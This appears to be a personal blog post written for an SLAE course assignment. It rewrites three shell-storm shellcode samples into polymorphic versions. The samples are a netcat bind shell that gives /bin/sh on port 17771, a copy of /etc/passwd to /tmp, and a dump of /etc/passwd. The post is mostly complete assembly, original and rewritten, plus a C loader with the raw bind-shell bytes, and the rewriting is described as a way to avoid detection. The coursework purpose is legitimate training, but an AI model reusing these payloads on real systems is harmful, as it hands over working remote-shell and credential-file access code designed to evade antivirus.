SLAE- Assignment 6- Polymorphic Shell Code

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

SLAE #1488
Handle: t0b0rx0r
Github: https://github.com/t0b0rX0r/slae/tree/master/assignment6

In this assignment I was tasked with taking 3 shellcode samples from shellstorm.org and create polymorphic versions of them. Through the course ware we learned that polymorphic versions would be described as code that does the same thing but written in a different way that would hopefully avoid detection. I opted for the following 3 samples.

  1. Run NetCat Listnerhttp://shell-storm.org/shellcode/files/shellcode-872.php
  2. Copy etc/passwd to Outfilehttp://shell-storm.org/shellcode/files/shellcode-864.php
  3. Cat the contents of etc/passwdhttp://shell-storm.org/shellcode/files/shellcode-571.php

1.Call to Netcat

Here is the original version of the code.

/*
# Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode
# This shellcode will listen on port 17771 and give you /bin/sh
# Date: 31.05.2014
# Shellcode Author: Oleg Boytsev
# Tested on: Debian GNU/Linux 7/i686
# Shellcode Length: 58
# For education purpose only

global _start
section .text
 _start:
    xor eax, eax
    xor edx, edx
    push eax
    push 0x31373737     ;-vp17771
    push 0x3170762d
    mov esi, esp

    push eax
    push 0x68732f2f     ;-le//bin//sh
    push 0x6e69622f
    push 0x2f656c2d
    mov edi, esp

    push eax
    push 0x636e2f2f     ;/bin//nc
    push 0x6e69622f
    mov ebx, esp

    push edx
    push esi
    push edi
    push ebx
    mov ecx, esp
    mov al,11
    int 0x80
*/

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] =
"\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";


main()
{
        printf("Shellcode Length: %d\n",strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}

I decided to take the approach of using

  • ADDS and a register to sum the values being pushed.
  • using similar value registers
  • using lower order registers in place of the full one
  • using similar code that may throw a warning but still compile and provide the same results ex) push dword <reg32> instead of push <reg32>
global _start
section .text
 _start:
	xor eax, eax
	;xor edx, edx
	mov edx,eax ; mov zero to edx	
	;push eax
	push edx  ; same value as orginal eax

	;push 0x31373737	;-vp17771
	add eax,0x30363636
	add eax,0x01010101
	push eax
	xor eax,eax

    
	;push 0x3170762d
	add eax,0x01010101
	add eax,0x306f752c
	push eax
  	xor eax,eax

	mov esi, esp

	push eax ; replace with edx as its still zeropush eax ; 
	;push 0x68732f2f	;-le//bin//sh
	add eax,0x01010101
	add eax,0x67722e2e
	push eax
	xor eax,eax
	 push 0x6e69622f
	;add eax,0x01010101
	;add eax,0x6d68612e
	;push eax
	;xor eax,eax
    push 0x2f656c2d
    mov edi, esp

    push eax
    push 0x636e2f2f	;/bin//nc
    push 0x6e69622f
    mov ebx, esp

    ;push edx
	push dword edx
    push esi
    push edi
    push ebx
    mov ecx, esp
    ;mov al,11 
    add al,11 ; same as move 11 as eax
    int 0x80

Final run my code is not as polymorphic as it could be as i needed to stay within 150% of the original size.

2. Copy /etc/passwd to outfile

In this sample, the code copies the passwd file to the tmp directory with a a new name. Of note, it appears that this file was a prior submital by another SLAE student to shellstorm.

http://shell-storm.org/shellcode/files/shellcode-864.php

Original Source:

global _start
section .text
_start:
    xor eax,eax
    mov al,0x5
    xor ecx,ecx
    push ecx
    push 0x64777373 
    push 0x61702f63
    push 0x74652f2f
    lea ebx,[esp +1]
    int 0x80

    mov ebx,eax
    mov al,0x3
    mov edi,esp
    mov ecx,edi
    push WORD 0xffff
    pop edx
    int 0x80
    mov esi,eax

    push 0x5
    pop eax
    xor ecx,ecx
    push ecx
    push 0x656c6966
    push 0x74756f2f
    push 0x706d742f
    mov ebx,esp
    mov cl,0102o
    push WORD 0644o
    pop edx
    int 0x80

    mov ebx,eax
    push 0x4
    pop eax
    mov ecx,edi
    mov edx,esi
    int 0x80

    xor eax,eax
    xor ebx,ebx
    mov al,0x1
    mov bl,0x5
    int 0x80

Just like the prior problem I opted to perform the following

  • ADDS and a register to sum the values being pushed.
  • using similar value registers
  • using lower order registers in place of the full one
  • using similar code that may throw a warning but still compile and provide the same results ex) push dword <reg32> instead of push <reg32>
global _start
section .text
_start:
    xor eax,eax
    ;mov al,0x5
    ;xor ecx,ecx
    mov ecx,eax ; same as xoring
    push ecx
    ;push 0x64777373 
    add eax,0x01010101 ;same as dwss
    add eax,0x63767272
    push eax    
    xor eax,eax
    ;push 0x61702f63
    add eax,0x01010101
    add eax,0x606f2e62
    push eax
    xor eax,eax
    ;push 0x74652f2f 
    add eax,0x01010101 ; same as ap/c
    add eax,0x73642e2e
    push eax
    lea ebx,[esp +1]
    xor eax,eax
    mov al,0x5
    int 0x80

    mov ebx,eax
    ;mov al,0x3
    mov al,0x2
    inc al ; same as placing 3 into eax
    mov edi,esp
    mov ecx,edi
    push WORD 0xffff
    pop edx
    int 0x80
    mov esi,eax


    xor ecx,ecx
    push ecx
    ;push 0x656c6966
    xor eax,eax
    add eax,0x01010101
    add eax,0x646b6865
    push eax
    xor eax,eax
    ;push 0x74756f2f
    ;xor eax,eax
    add eax,0x01010101
    add eax,0x73746e2e
    push eax
    ;xor eax,eax
    push 0x706d742f
    ;add eax,0x01010101
    ;add eax,0x6f6c732e
    ;push eax
    xor eax,eax
    push 0x5
    pop eax
    mov ebx,esp
    mov cl,0102o
    push WORD 0644o
    pop edx
    int 0x80

    mov ebx,eax
    push 0x4
    pop eax
    mov ecx,edi
    mov edx,esi
    int 0x80

    xor eax,eax
    xor ebx,ebx
    ;mov al,0x1
    inc al ; increment to 1
    mov bl,0x5
    int 0x80

As before, I had to limit my obfuscation to ensure my code was less than 150% of the orginal

3. Cat the contents of /etc/passwd

In this sample, the code cats (writes) the contents of /etc/passwd to the users screen.

http://shell-storm.org/shellcode/files/shellcode-571.php

Original Source:

global _start
section .text
_start:
xor eax,eax
cdq
push edx
push dword 0x7461632f
push dword 0x6e69622f
mov ebx,esp
push edx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f
mov ecx,esp
mov al,0xb
push edx
push ecx
push ebx
mov ecx,esp
int 80h

Just as before I performed the following set of operations

  • ADDs and a register to sum the values being pushed.
  • using similar value registers
  • using lower order registers in place of the full one
  • using similar code that may throw a warning but still compile and provide the same results ex) push dword <reg32> instead of push <reg32>
global _start
section .text
_start:
xor eax,eax
cdq
push edx
;push dword 0x7461632f
add eax,0x01010101
add eax,0x7360622e
push eax
xor eax,eax
;push dword 0x6e69622f
add eax,0x01010101
add eax,0x6d68612e
push eax
xor eax,eax
mov ebx,esp
push edx
;push dword 0x64777373
add eax,0x01010101
add eax,0x63767272
push eax
xor eax,eax
;push dword 0x61702f2f
add eax,0x01010101
add eax,0x606f2e2e
push eax
xor eax,eax
push dword 0x6374652f
mov ecx,esp
;mov al,0xb
add al,0xb ; same as move 11
push edx
push ecx
push ebx
mov ecx,esp
int 80h

As before, I limited my obfuscation to keep it under 150%